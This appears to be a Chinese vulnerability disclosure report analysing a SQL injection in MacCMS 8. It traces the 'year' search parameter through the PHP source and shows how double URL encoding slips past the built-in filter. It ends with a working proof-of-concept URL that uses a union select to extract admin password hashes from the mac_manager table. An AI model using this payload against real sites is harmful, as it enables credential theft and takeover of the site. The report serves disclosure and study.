### 简要描述:
RTRT,开个玩笑罢了
### 详细说明:
先来看看首页index.php
```
<?php
/*
'软件名称:苹果CMS
'开发作者:MagicBlack 官方网站:http://www.maccms.com/
'--------------------------------------------------------
'适用本程序需遵循 CC BY-ND 许可协议
'这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和使用;
'不允许对程序代码以任何形式任何目的的再发布。
'--------------------------------------------------------
*/
if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
require("inc/conn.php");
require(MAC_ROOT.'/inc/common/360_safe3.php');//好恐怖,内置了360,不过对后面的注入没有影响
$m = be('get','m');//这个地方会转义一次,但对我们也没影响
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
$par = explode('-',$m);
$parlen = count($par);
$ac = $par[0];
if(empty($ac)){ $ac='vod'; $method='index'; }
$colnum = array("id","pg","yaer","typeid","classid");//程序员的英文实在是太好了,这个yaer困惑了我好久,就拿他开刀先
if($parlen>=2){
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);//这里可以看到只要后面的参数不在$colnum中【这英文..】,就经过一次urldecode,这就是后面绕过的根本了
}
}
if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
unset($colnum);
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P["module"] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';//继续跟踪下去
}
else{
showErr('System','未找到指定系统模块');
}
unset($par);
unset($acs);
$tpl->ifex();
setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H);
$tpl->run();
echo $tpl->H;
?>
```
接着我们看maccms/inc/module/下的各个文件,
看到vod.php:
```
elseif($method=='search')
{
$tpl->P["siteaid"] = 15;
$wd = be("all", "wd");
if(!empty($wd)){
$tpl->P["wd"] = $wd;
}
//if(isN($tpl->P["wd"]) && isN($tpl->P["ids"]) && isN($tpl->P["pinyin"]) && isN($tpl->P["starring"]) && isN($tpl->P["directed"]) && isN($tpl->P["area"]) && isN($tpl->P["lang"]) && isN($tpl->P["year"]) && isN($tpl->P["letter"]) && isN($tpl->P["tag"]) && isN($tpl->P["type"]) && isN($tpl->P["typeid"]) && isN($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }
$tpl->P['cp'] = 'vodsearch';
$tpl->P['cn'] = urlencode($tpl->P['wd']).'-'.$tpl->P['pg'].'-'.$tpl->P['order'].'-'.$tpl->P['by'].'-'.$tpl->P['ids']. '-'.$tpl->P['pinyin']. '-'.$tpl->P['type']. '-'.$tpl->P['year']. '-'.$tpl->P['letter'].'-'.$tpl->P['typeid'].'-'.$tpl->P['classid'].'-'.urlencode($tpl->P['area']) .'-'.urlencode($tpl->P['lang']) .'-'.urlencode($tpl->P['tag']) .'-'.urlencode($tpl->P['starring']) .'-'.urlencode($tpl->P['directed']) ;
echoPageCache($tpl->P['cp'],$tpl->P['cn']);
if (!isN($tpl->P["year"])){//看到没这些地方yaer终于变回year了,哈哈
$tpl->P["key"]=$tpl->P["year"];
$tpl->P["des"] = $tpl->P["des"] ." 上映年份为".$tpl->P["year"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_year=". $tpl->P["year"] ." ";
}
if (!isN($tpl->P["letter"])){
$tpl->P["key"]=$tpl->P["letter"];
$tpl->P["des"] = $tpl->P["des"] . " 首字母为" . $tpl->P["letter"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_letter='" . $tpl->P["letter"] ."' ";
}
if(!isN($tpl->P["area"])){
$tpl->P["key"]=$tpl->P["area"];
$tpl->P["des"] = $tpl->P["des"] . " 地区为" . $tpl->P["area"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_area='" . $tpl->P["area"] ."' ";
}
if (!isN($tpl->P["lang"])){
$tpl->P["key"]=$tpl->P["lang"];
$tpl->P["des"] = $tpl->P["des"] . " 语言为" . $tpl->P["lang"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_lang='" . $tpl->P["lang"] ."' ";
}
if (!isN($tpl->P["wd"])) {
$tpl->P["key"]=$tpl->P["wd"] ;
$tpl->P["des"] = $tpl->P["des"] . " 名称或主演为" . $tpl->P["wd"];
$tpl->P["where"] = $tpl->P["where"] . " AND ( instr(d_name,'".$tpl->P['wd']."')>0 or instr(d_starring,'".$tpl->P['wd']."')>0 ) ";
}
if (!isN($tpl->P["pinyin"])){
$tpl->P["key"]=$tpl->P["pinyin"] ;
$tpl->P["des"] = $tpl->P["des"] . " 拼音为" . $tpl->P["pinyin"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_enname,'".$tpl->P['pinyin']."')>0 ";
}
if (!isN($tpl->P["starring"])){
$tpl->P["key"]=$tpl->P["starring"] ;
$tpl->P["des"] = $tpl->P["des"] . " 主演为" . $tpl->P["starring"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_starring,'".$tpl->P['starring']."')>0 ";
}
if (!isN($tpl->P["directed"])){
$tpl->P["key"]=$tpl->P["directed"] ;
$tpl->P["des"] = $tpl->P["des"] . " 导演为" . $tpl->P["directed"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_directed,'".$tpl->P['directed']."')>0 ";
}
if (!isN($tpl->P["tag"])){
$tpl->P["key"]=$tpl->P["tag"] ;
$tpl->P["des"] = $tpl->P["des"] . " Tag为" . $tpl->P["tag"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_tag,'".$tpl->P['tag']."')>0 ";
}
$tpl->P['typepid'] = 0;
if(!isN($tpl->P["typeid"])){
$typearr = $MAC_CACHE['vodtype'][$tpl->P['typeid']];
if (is_array($typearr)){
$tpl->P['typepid'] = $typearr['t_pid'];
if (isN($tpl->P["key"])){ $tpl->P["key"]= $typearr["t_name"]; }
$tpl->P["des"] = $tpl->P["des"] . " 分类为" . $typearr["t_name"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_type in (" . $typearr["childids"] . ") ";
}
unset($typearr);
}
if(!isN($tpl->P["classid"])){
$classarr = $MAC_CACHE['vodclass'][$tpl->P['classid']];
if (is_array($classarr)){
if (isN($tpl->P["key"])){ $tpl->P["key"]= $classarr["c_name"]; }
$tpl->P["des"] = $tpl->P["des"] . " 剧情分类为" . $classarr["c_name"];
$tpl->P["where"] = $tpl->P["where"] . ' AND instr(d_class,\','.$tpl->P['classid'].',\')>0 ';
}
unset($classarr);
}
$db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']);
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();//以上语句均为看到$tpl->P["year"]有任何过滤,接着跟踪mark()看看
$tpl->pageshow();
$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] );
$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
unset($colarr,$valarr);
$linktype = $tpl->getLink('vod','search','',array('typeid'=>$tpl->P['typepid']));
$linkyear = $tpl->getLink('vod','search','',array('year'=>''));
$linkletter = $tpl->getLink('vod','search','',array('letter'=>''));
$linkarea = $tpl->getLink('vod','search','',array('area'=>''));
$linklang = $tpl->getLink('vod','search','',array('lang'=>''));
$linkclass = $tpl->getLink('vod','search','',array('classid'=>''));
$linkorderasc = $tpl->getLink('vod','search','',array('order'=>'asc'));
$linkorderdesc = $tpl->getLink('vod','search','',array('order'=>'desc'));
$linkbytime = $tpl->getLink('vod','search','',array('by'=>'time'));
$linkbyhits = $tpl->getLink('vod','search','',array('by'=>'hits'));
$linkbyscore = $tpl->getLink('vod','search','',array('by'=>'score'));
$tpl->H = str_replace(array('{page:linkyear}','{page:linkletter}','{page:linkarea}','{page:linklang}','{page:linktype}','{page:linkclass}','{page:linkorderasc}','{page:linkorderdesc}','{page:linkbytime}','{page:linkbyhits}','{page:linkbyscore}',), array($linkyear,$linkletter,$linkarea,$linklang,$linktype,$linkclass,$linkorderasc,$linkorderdesc,$linkbytime,$linkbyhits,$linkbyscore) ,$tpl->H);
}
```
mark()函数在/maccms/inc/common/template.php 914行:
```
function mark()
{
$this->headfoot();
$this->labelload();
$this->labellink();
$this->base();
$this->matrix();
$this->H = str_replace('{maccms:sitetid}', $this->P['sitetid'] ,$this->H);
$this->H = str_replace('{maccms:siteid}', $this->P['siteid'] ,$this->H);
$labelRule = buildregx('{maccms:([\S]+)\s+(.*?)}([\s\S]+?){/maccms:\1}',"");
preg_match_all($labelRule ,$this->H,$matches1);
for($i=0;$i<count($matches1[0]);$i++)
{
$this->markval = $matches1[0][$i];
$this->markname = $matches1[1][$i];
$this->markpar = $matches1[2][$i];
$this->markdes = $matches1[3][$i];
$this->mark_sql();//到这里mark_sql()就将year传入查询语句
switch($this->markname)
{
case "php":
$this->runphp();
break;
case "area":
case "lang":
case "year":
case "letter":
case "tag":
$this->expandlist();
break;
case "menu":
case "class":
case "art":
case "vod":
case "topic":
case "link":
case "gbook":
case "comment":
$this->datalist();//到这个地方漏洞就触发了
break;
}
}
unset($matches1);
replaceTplCustom();
if($GLOBALS['MAC']['app']['compress']==1){
$this->H = compress_html($this->H);
}
}
```
程序员写的代码实在是太难读了,我们直观的看下mysql日志:
[<img src="https://images.seebug.org/upload/201406/24132545679d7d87f919c29e84c0306c84b261ab.png" alt="maccms2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/24132545679d7d87f919c29e84c0306c84b261ab.png)
所以我们从日志里看到,我们该如何利用,直接将year二次URL编码绕过一切检测:
```
```
因为注入太多了,我们这次仅拿写错的year开头。
POC:
```
http://localhost/maccms8_mfb/index.php?m=vod-search-year-2012%2520and%25201%253D2%2520union%2520select%2520m_password%2520from%2520mac_manager%2520order%2520by%25201%2520desc%2523-des-2013-where-and%25201%253D1-siteid-20133
```
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201406/2413273586df242a085ae4bd9fcfb45184849c93.png" alt="maccms2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2413273586df242a085ae4bd9fcfb45184849c93.png)
[<img src="https://images.seebug.org/upload/201406/24132753ae2fbed676adc1438634c3b8d619f451.png" alt="maccms1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/24132753ae2fbed676adc1438634c3b8d619f451.png)
[<img src="https://images.seebug.org/upload/201406/2413282381d98e26b8bb6b245c0891c64bc09beb.png" alt="maccms3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2413282381d98e26b8bb6b245c0891c64bc09beb.png)
暂无评论